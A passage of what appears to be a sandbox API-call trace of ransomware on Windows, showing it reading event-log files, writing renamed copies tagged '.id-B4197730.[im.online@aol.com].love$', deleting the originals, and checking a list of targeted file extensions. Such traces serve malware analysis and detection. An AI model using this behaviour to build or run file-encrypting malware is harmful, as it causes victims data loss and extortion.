dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0112.286] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0112.286] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0112.287] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\hardwareevents.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0112.305] GetLastError () returned 0x0 [0112.305] ReadFile (in: hFile=0x37c, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0112.345] WriteFile (in: hFile=0x384, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0112.364] ReadFile (in: hFile=0x37c, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0112.364] WriteFile (in: hFile=0x384, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xfa, lpOverlapped=0x0) returned 1 [0112.364] SetEndOfFile (hFile=0x384) returned 1 [0112.364] CloseHandle (hObject=0x384) returned 1 [0113.712] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0113.837] SetEndOfFile (hFile=0x37c) returned 1 [0113.839] CloseHandle (hObject=0x37c) returned 1 [0113.839] SetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0113.840] DeleteFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0113.841] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.841] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.841] lstrlenW (lpString=".doc") returned 4 [0113.841] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0113.841] lstrlenW (lpString=".docx") returned 5 [0113.841] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0113.841] lstrlenW (lpString=".pdf") returned 4 [0113.841] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0113.841] lstrlenW (lpString=".xls") returned 4 [0113.841] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0113.841] lstrlenW (lpString=".xlsx") returned 5 [0113.841] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0113.841] lstrlenW (lpString=".ppt") returned 4 [0113.841] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0113.841] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.841] lstrlenW (lpString=".zip") returned 4 [0113.842] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0113.842] lstrlenW (lpString=".rar") returned 4 [0113.842] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0113.842] lstrlenW (lpString=".bz2") returned 4 [0113.842] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0113.842] lstrlenW (lpString=".7z") returned 3 [0113.855] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0113.856] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.856] lstrlenW (lpString=".dbf") returned 4 [0113.856] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0113.856] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.856] lstrlenW (lpString=".1cd") returned 4 [0113.856] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0113.856] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.856] lstrlenW (lpString=".jpg") returned 4 [0113.856] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0113.856] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.856] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.856] lstrlenW (lpString=".doc") returned 4 [0113.856] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0113.856] lstrlenW (lpString=".docx") returned 5 [0113.857] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0113.857] lstrlenW (lpString=".pdf") returned 4 [0113.857] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0113.857] lstrlenW (lpString=".xls") returned 4 [0113.857] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0113.857] lstrlenW (lpString=".xlsx") returned 5 [0113.857] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0113.857] lstrlenW (lpString=".ppt") returned 4 [0113.857] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0113.857] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.857] lstrlenW (lpString=".zip") returned 4 [0113.857] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0113.857] lstrlenW (lpString=".rar") returned 4 [0113.857] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0113.857] lstrlenW (lpString=".bz2") returned 4 [0113.857] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0113.857] lstrlenW (lpString=".7z") returned 3 [0113.857] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0113.857] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.857] lstrlenW (lpString=".dbf") returned 4 [0113.858] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0113.858] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.858] lstrlenW (lpString=".1cd") returned 4 [0113.858] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0113.858] lstrlenW (lpString="C:\\Logs\\HardwareEvents.evtx") returned 27 [0113.858] lstrlenW (lpString=".jpg") returned 4 [0113.858] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0113.858] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0113.858] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48 [0113.858] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0113.859] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0113.859] CloseHandle (hObject=0x37c) returned 1 [0113.859] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0113.859] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0113.859] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0113.860] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0113.860] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0113.860] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0113.860] GetLastError () returned 0x0 [0113.860] ReadFile (in: hFile=0x37c, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0113.867] WriteFile (in: hFile=0x398, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0113.870] ReadFile (in: hFile=0x37c, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0113.870] WriteFile (in: hFile=0x398, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x134, lpOverlapped=0x0) returned 1 [0113.870] SetEndOfFile (hFile=0x398) returned 1 [0113.871] CloseHandle (hObject=0x398) returned 1 [0113.876] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0113.876] SetEndOfFile (hFile=0x37c) returned 1 [0113.878] CloseHandle (hObject=0x37c) returned 1 [0113.878] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0113.879] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0113.879] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0113.879] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0113.879] lstrlenW (lpString=".doc") returned 4 [0113.879] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0113.879] lstrlenW (lpString=".docx") returned 5 [0113.879] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0113.879] lstrlenW (lpString=".pdf") returned 4 [0113.879] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0113.879] lstrlenW (lpString=".xls") returned 4 [0113.879] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0113.879] lstrlenW (lpString=".xlsx") returned 5 [0113.879] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0113.879] lstrlenW (lpString=".ppt") returned 4 [0113.879] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0113.879] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0113.879] lstrlenW (lpString=".zip") returned 4 [0113.879] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0113.896] lstrlenW (lpString=".rar") returned 4 [0114.441] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.441] lstrlenW (lpString=".bz2") returned 4 [0114.441] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.441] lstrlenW (lpString=".7z") returned 3 [0114.441] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0114.441] lstrlenW (lpString=".dbf") returned 4 [0114.441] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0114.441] lstrlenW (lpString=".1cd") returned 4 [0114.441] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0114.441] lstrlenW (lpString=".jpg") returned 4 [0114.441] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0114.441] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0114.441] lstrlenW (lpString=".doc") returned 4 [0114.441] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.441] lstrlenW (lpString=".docx") returned 5 [0114.442] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.442] lstrlenW (lpString=".pdf") returned 4 [0114.442] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.442] lstrlenW (lpString=".xls") returned 4 [0114.442] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.442] lstrlenW (lpString=".xlsx") returned 5 [0114.442] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.442] lstrlenW (lpString=".ppt") returned 4 [0114.442] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0114.442] lstrlenW (lpString=".zip") returned 4 [0114.442] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.442] lstrlenW (lpString=".rar") returned 4 [0114.442] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.442] lstrlenW (lpString=".bz2") returned 4 [0114.442] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.442] lstrlenW (lpString=".7z") returned 3 [0114.442] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0114.442] lstrlenW (lpString=".dbf") returned 4 [0114.442] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0114.442] lstrlenW (lpString=".1cd") returned 4 [0114.442] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.442] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 56 [0114.442] lstrlenW (lpString=".jpg") returned 4 [0114.442] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.443] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0114.443] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Operational.evtx") returned 48 [0114.443] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0114.447] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1118208) returned 1 [0114.447] CloseHandle (hObject=0x340) returned 1 [0114.447] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 0x20 [0114.448] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0114.448] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0114.448] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0114.448] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0114.448] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0114.449] GetLastError () returned 0x0 [0114.449] ReadFile (in: hFile=0x340, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0114.485] WriteFile (in: hFile=0x34c, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0114.985] ReadFile (in: hFile=0x340, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11010, lpOverlapped=0x0) returned 1 [0114.995] WriteFile (in: hFile=0x34c, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11020, lpOverlapped=0x0) returned 1 [0115.000] ReadFile (in: hFile=0x340, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0115.000] WriteFile (in: hFile=0x34c, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x134, lpOverlapped=0x0) returned 1 [0115.000] SetEndOfFile (hFile=0x34c) returned 1 [0117.131] CloseHandle (hObject=0x34c) returned 1 [0117.298] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.298] SetEndOfFile (hFile=0x340) returned 1 [0117.300] CloseHandle (hObject=0x340) returned 1 [0117.300] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0117.642] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4operational.evtx")) returned 1 [0117.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.643] lstrlenW (lpString=".doc") returned 4 [0117.643] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.643] lstrlenW (lpString=".docx") returned 5 [0117.643] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.643] lstrlenW (lpString=".pdf") returned 4 [0117.643] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.643] lstrlenW (lpString=".xls") returned 4 [0117.643] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.643] lstrlenW (lpString=".xlsx") returned 5 [0117.643] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.643] lstrlenW (lpString=".ppt") returned 4 [0117.643] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.643] lstrlenW (lpString=".zip") returned 4 [0117.643] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.643] lstrlenW (lpString=".rar") returned 4 [0117.643] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.643] lstrlenW (lpString=".bz2") returned 4 [0117.643] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.643] lstrlenW (lpString=".7z") returned 3 [0117.643] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.643] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.644] lstrlenW (lpString=".dbf") returned 4 [0117.644] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.644] lstrlenW (lpString=".1cd") returned 4 [0117.644] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.644] lstrlenW (lpString=".jpg") returned 4 [0117.644] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.644] lstrlenW (lpString=".doc") returned 4 [0117.644] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.644] lstrlenW (lpString=".docx") returned 5 [0117.644] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.644] lstrlenW (lpString=".pdf") returned 4 [0117.644] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.644] lstrlenW (lpString=".xls") returned 4 [0117.644] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.644] lstrlenW (lpString=".xlsx") returned 5 [0117.644] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.644] lstrlenW (lpString=".ppt") returned 4 [0117.644] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.644] lstrlenW (lpString=".zip") returned 4 [0117.644] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.644] lstrlenW (lpString=".rar") returned 4 [0117.644] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.644] lstrlenW (lpString=".bz2") returned 4 [0117.644] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.644] lstrlenW (lpString=".7z") returned 3 [0117.644] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.644] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.644] lstrlenW (lpString=".dbf") returned 4 [0117.644] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.645] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.645] lstrlenW (lpString=".1cd") returned 4 [0117.645] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.645] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Operational.evtx") returned 56 [0117.645] lstrlenW (lpString=".jpg") returned 4 [0117.645] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.645] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0117.645] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63 [0117.645] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0117.645] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=69632) returned 1 [0117.645] CloseHandle (hObject=0x348) returned 1 [0117.646] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0117.646] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.646] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0117.646] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.646] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0117.646] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0117.646] GetLastError () returned 0x0 [0117.646] ReadFile (in: hFile=0x348, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x11000, lpOverlapped=0x0) returned 1 [0118.273] WriteFile (in: hFile=0x398, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x11010, lpOverlapped=0x0) returned 1 [0118.276] ReadFile (in: hFile=0x348, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, 